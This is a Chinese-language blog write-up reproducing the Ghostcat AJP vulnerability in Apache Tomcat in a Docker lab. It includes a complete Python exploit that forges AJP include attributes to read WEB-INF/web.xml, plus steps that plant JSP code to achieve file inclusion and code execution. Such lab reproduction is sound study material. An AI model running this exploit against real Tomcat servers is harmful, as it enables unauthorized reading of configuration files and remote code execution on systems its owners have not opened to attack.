影响范围:

  • Apache Tomcat 6.x (全版本受影响)

  • Apache Tomcat 7.0.0 - 7.0.99

  • Apache Tomcat 8.5.0 - 8.5.50

  • Apache Tomcat 9.0.0.M1 - 9.0.30

漏洞类型:

二进制解析漏洞

操作系统限制:

配置要求:

8009端口打开

漏洞利用:

  • 任意文件读取,例如读取WEB-INF/web.xml文件,只能读取使用AJP目录下的文件

  • 文件包含,RCE远程代码执行,可以是反弹shell

利用原理:

AJP协议默认监听端口通常缺乏认证,利用协议缺陷,伪造javax.servlet.include属性

漏洞复现:

#拉取镜像
docker run -d -p 8082:8080 -p 8009:8009 --name ghostcat-vulhub vulhub/tomcat:9.0.30

使用云服务器:

#写入攻击脚本
cat << 'EOF' > ghostcat.py
import socket
import struct
​
def pack_string(s):
    if s is None: return struct.pack('>H', 0xffff)
    b = s.encode('utf-8')
    return struct.pack('>H', len(b)) + b + b'\x00'
​
def exploit(target_host, target_port, file_path):
    # AJP13 Forward Request Header
    # 0x02 = Forward Request, 0x02 = GET Method
    data = b'\x02\x02' 
    data += pack_string("HTTP/1.1")
    data += pack_string("/index.jsp")
    data += pack_string("127.0.0.1")
    data += pack_string(None)
    data += pack_string("127.0.0.1")
    data += struct.pack('>H', 80)
    data += b'\x00' # is_ssl: false
    data += struct.pack('>H', 0) # num_headers: 0
​
    # 注入核心:Ghostcat 必备的三个属性
    attrs = [
        ("javax.servlet.include.request_uri", "/"),
        ("javax.servlet.include.path_info", file_path),
        ("javax.servlet.include.servlet_path", "/")
    ]
    
    for name, value in attrs:
        data += b'\x0a' # SC_A_REQ_ATTRIBUTE
        data += pack_string(name)
        data += pack_string(value)
    
    data += b'\xff' # terminator
​
    # 封装 AJP 头部
    header = b'\x12\x34'
    msg_len = struct.pack('>H', len(data))
    packet = header + msg_len + data
​
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_host, target_port))
        s.sendall(packet)
        
        print(f"[*] Attacking {target_host}:{target_port} -> {file_path}")
        
        while True:
            res = s.recv(8192)
            if not res: break
            # 过滤掉 AJP 协议的二进制头,直接输出内容
            print(res.decode('utf-8', errors='ignore'))
        s.close()
    except Exception as e:
        print(f"[!] Error: {e}")
​
if __name__ == "__main__":
    import sys
    host = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
    path = sys.argv[2] if len(sys.argv) > 2 else '/WEB-INF/web.xml'
    exploit(host, 8009, path)
EOF
#运行脚本获取xml文件
python3 ghostcat.py 公网 /WEB-INF/web.xml

成功复现读取/WEB-INF/web.xml文件

后续进行文件包含,因为靶场环境是纯净的tomcat,实际环境需要寻找上传点上传木马文件,这里直接写入到靶场中

#写入敏感文件
docker exec ghostcat-vulhub bash -c 'echo "<% out.println(\"SUCCESS_RCE\"); %>" > /usr/local/tomcat/webapps/ROOT/proof.txt'
#文件包含,并不是简单的txt,里面含有java代码,将静态文本强制解析为Java代码
python3 ghostcat.py 公网 /proof.txt

出现SUCCESS_RCE表明成功实现文件包含,执行了代码


文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Tomcat
喜欢就支持一下吧